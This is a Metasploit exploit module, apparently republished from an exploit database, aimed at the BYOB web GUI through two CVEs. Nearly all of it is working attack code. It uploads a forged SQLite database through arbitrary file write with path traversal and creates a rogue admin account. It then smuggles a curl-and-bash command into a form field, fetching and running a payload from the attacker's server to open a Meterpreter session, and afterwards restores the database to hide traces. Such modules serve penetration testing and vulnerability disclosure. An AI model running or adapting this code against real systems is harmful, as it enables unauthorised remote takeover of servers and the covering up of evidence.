Share
## https://sploitus.com/exploit?id=PACKETSTORM:182256
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'sqlite3'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)',  
'Description' => %q{  
This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:  
1. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.  
2. CVE-2024-45257: Authenticated command injection in the payload generation page.  
  
These vulnerabilities remain unpatched.  
},  
'Author' => [  
'chebuya', # Discoverer and PoC  
'Valentin Lobstein' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2024-45256'],  
['CVE', '2024-45257'],  
['URL', 'https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/']  
],  
'Platform' => %w[unix linux],  
'Arch' => %w[ARCH_CMD],  
'Targets' => [  
[  
'Unix/Linux Command Shell', {  
'Platform' => %w[unix linux],  
'Arch' => ARCH_CMD,  
'Privileged' => true  
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp  
}  
]  
],  
'DisclosureDate' => '2024-08-15',  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'SRVPORT' => 5000 },  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [false, 'Username for new admin', 'admin']),  
OptString.new('PASSWORD', [false, 'Password for new admin', nil])  
]  
)  
end  
  
def primer  
add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })  
print_status('Payload is ready at /')  
end  
  
def on_request_uri_payload(cli, request)  
handle_request(cli, request, payload.encoded)  
end  
  
def handle_request(cli, request, response_payload)  
print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")  
  
case request.uri  
when '/'  
print_status("Sending response to #{cli.peerhost} for /")  
send_response(cli, response_payload)  
else  
print_error("Request for unknown resource: #{request.uri}")  
send_not_found(cli)  
end  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true  
})  
  
if res  
doc = res.get_html_document  
  
unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet')  
return CheckCode::Safe('The target does not appear to be BYOB.')  
end  
else  
return CheckCode::Unknown('The target did not respond to the initial check.')  
end  
  
print_good('The target appears to be BYOB.')  
  
random_data = Rex::Text.rand_text_alphanumeric(32)  
random_filename = Rex::Text.rand_text_alphanumeric(16)  
random_owner = Rex::Text.rand_text_alphanumeric(8)  
random_module = Rex::Text.rand_text_alphanumeric(6)  
random_session = Rex::Text.rand_text_alphanumeric(6)  
  
form_data = {  
'data' => random_data,  
'filename' => random_filename,  
'type' => 'txt',  
'owner' => random_owner,  
'module' => random_module,  
'session' => random_session  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => form_data,  
'keep_cookies' => true  
})  
  
if res&.code == 500  
return CheckCode::Vulnerable  
else  
case res&.code  
when 200  
return CheckCode::Safe  
when nil  
return CheckCode::Unknown('The target did not respond.')  
else  
return CheckCode::Unknown("The target responded with HTTP status #{res.code}")  
end  
end  
end  
  
def get_csrf(path)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, path),  
'keep_cookies' => true  
})  
  
fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token') unless res  
  
csrf_token = res.get_html_document.at_xpath("//input[@name='csrf_token']/@value")&.text  
fail_with(Failure::UnexpectedReply, 'CSRF token not found') if csrf_token.nil?  
  
csrf_token  
end  
  
def register_user(username, password)  
csrf_token = get_csrf('register')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'register'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'csrf_token' => csrf_token,  
'username' => username,  
'password' => password,  
'confirm_password' => password,  
'submit' => 'Sign Up'  
},  
'keep_cookies' => true  
})  
  
if res.nil?  
fail_with(Failure::UnexpectedReply, 'No response from the server.')  
elsif res.code == 302  
print_good('Registered user!')  
else  
fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}")  
end  
end  
  
def login_user(username, password)  
csrf_token = get_csrf('login')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'login'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'csrf_token' => csrf_token,  
'username' => username,  
'password' => password,  
'submit' => 'Log In'  
},  
'keep_cookies' => true  
})  
  
if res.nil?  
fail_with(Failure::UnexpectedReply, 'No response from the server.')  
elsif res.code == 302  
print_good('Logged in successfully!')  
else  
fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}")  
end  
end  
  
def generate_malicious_db  
mem_db = SQLite3::Database.new(':memory:')  
  
mem_db.execute <<-SQL  
CREATE TABLE user (  
id INTEGER NOT NULL,  
username VARCHAR(32) NOT NULL,  
password VARCHAR(60) NOT NULL,  
joined DATETIME NOT NULL,  
bots INTEGER,  
PRIMARY KEY (id),  
UNIQUE (username)  
);  
SQL  
  
mem_db.execute <<-SQL  
CREATE TABLE session (  
id INTEGER NOT NULL,  
uid VARCHAR(32) NOT NULL,  
online BOOLEAN NOT NULL,  
joined DATETIME NOT NULL,  
last_online DATETIME NOT NULL,  
public_ip VARCHAR(42),  
local_ip VARCHAR(42),  
mac_address VARCHAR(17),  
username VARCHAR(32),  
administrator BOOLEAN,  
platform VARCHAR(5),  
device VARCHAR(32),  
architecture VARCHAR(2),  
latitude FLOAT,  
longitude FLOAT,  
new BOOLEAN NOT NULL,  
owner VARCHAR(120) NOT NULL,  
PRIMARY KEY (uid),  
UNIQUE (uid),  
FOREIGN KEY(owner) REFERENCES user (username)  
);  
SQL  
  
mem_db.execute <<-SQL  
CREATE TABLE payload (  
id INTEGER NOT NULL,  
filename VARCHAR(34) NOT NULL,  
operating_system VARCHAR(3),  
architecture VARCHAR(14),  
created DATETIME NOT NULL,  
owner VARCHAR(120) NOT NULL,  
PRIMARY KEY (id),  
UNIQUE (filename),  
FOREIGN KEY(owner) REFERENCES user (username)  
);  
SQL  
  
mem_db.execute <<-SQL  
CREATE TABLE exfiltrated_file (  
id INTEGER NOT NULL,  
filename VARCHAR(4096) NOT NULL,  
session VARCHAR(15) NOT NULL,  
module VARCHAR(15) NOT NULL,  
created DATETIME NOT NULL,  
owner VARCHAR(120) NOT NULL,  
PRIMARY KEY (id),  
UNIQUE (filename),  
FOREIGN KEY(owner) REFERENCES user (username)  
);  
SQL  
  
mem_db.execute <<-SQL  
CREATE TABLE task (  
id INTEGER NOT NULL,  
uid VARCHAR(32) NOT NULL,  
task TEXT,  
result TEXT,  
issued DATETIME NOT NULL,  
completed DATETIME,  
session VARCHAR(32) NOT NULL,  
PRIMARY KEY (id),  
UNIQUE (uid),  
FOREIGN KEY(session) REFERENCES session (uid)  
);  
SQL  
  
base64_data = Tempfile.open('database.db') do |file|  
src_db = SQLite3::Database.new(file.path)  
backup = SQLite3::Backup.new(src_db, 'main', mem_db, 'main')  
backup.step(-1)  
backup.finish  
  
binary_data = File.binread(file.path)  
  
Rex::Text.encode_base64(binary_data)  
end  
  
base64_data  
end  
  
def upload_database_multiple_paths  
successful_paths = []  
filepaths = [  
'/proc/self/cwd/buildyourownbotnet/database.db',  
'/proc/self/cwd/../buildyourownbotnet/database.db',  
'/proc/self/cwd/../../../../buildyourownbotnet/database.db',  
'/proc/self/cwd/instance/database.db',  
'/proc/self/cwd/../../../../instance/database.db',  
'/proc/self/cwd/../instance/database.db'  
]  
  
filepaths.each do |filepath|  
form_data = {  
'data' => @encoded_db,  
'filename' => filepath,  
'type' => 'txt',  
'owner' => Faker::Internet.username,  
'module' => Faker::App.name.downcase,  
'session' => Faker::Alphanumeric.alphanumeric(number: 8)  
}  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => form_data,  
'keep_cookies' => true  
)  
  
successful_paths << filepath if res&.code == 200  
end  
  
successful_paths  
end  
  
def on_new_session(session)  
if session.type == 'meterpreter'  
binary_content = Rex::Text.decode_base64(@encoded_db)  
  
print_status('Restoring the database via Meterpreter to avoid leaving traces.')  
  
successful_restore = false  
  
@successful_paths.each do |remote_path|  
remote_file = session.fs.file.new(remote_path, 'wb')  
remote_file.syswrite(binary_content)  
remote_file.close  
successful_restore = true  
end  
  
if successful_restore  
print_good('Database has been successfully restored to its clean state.')  
else  
print_error('Failed to restore the database on all attempted paths, but proceeding with the exploitation.')  
end  
else  
print_error('This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.')  
end  
end  
  
def exploit  
# Start necessary services and perform initial setup  
start_service  
primer  
  
# Define or generate admin credentials  
username = datastore['USERNAME'] || 'admin'  
password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)  
  
# Generate and upload the malicious SQLite database  
print_status('Generating malicious SQLite database.')  
@encoded_db = generate_malicious_db  
  
@successful_paths = upload_database_multiple_paths  
  
if @successful_paths.empty?  
fail_with(Failure::UnexpectedReply, 'Failed to upload the database from all known paths')  
else  
print_good("Malicious database uploaded successfully to the following paths: #{@successful_paths.join(', ')}")  
end  
  
# Register the new admin user  
print_status("Registering a new admin user: #{username}:#{password}")  
register_user(username, password)  
  
# Log in with the newly created admin user  
print_status('Logging in with the new admin user.')  
login_user(username, password)  
  
# Prepare the malicious payload and inject it via command injection  
print_status('Injecting payload via command injection.')  
  
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')  
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"  
malicious_filename = "curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}"  
payload_data = {  
'format' => 'exe',  
'operating_system' => "nix$(#{malicious_filename})",  
'architecture' => 'amd64'  
}  
  
# Send the command injection request  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'payload', 'generate'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => payload_data,  
'keep_cookies' => true  
}, 5)  
  
# Keep the web server running to maintain the service  
service.wait  
end  
end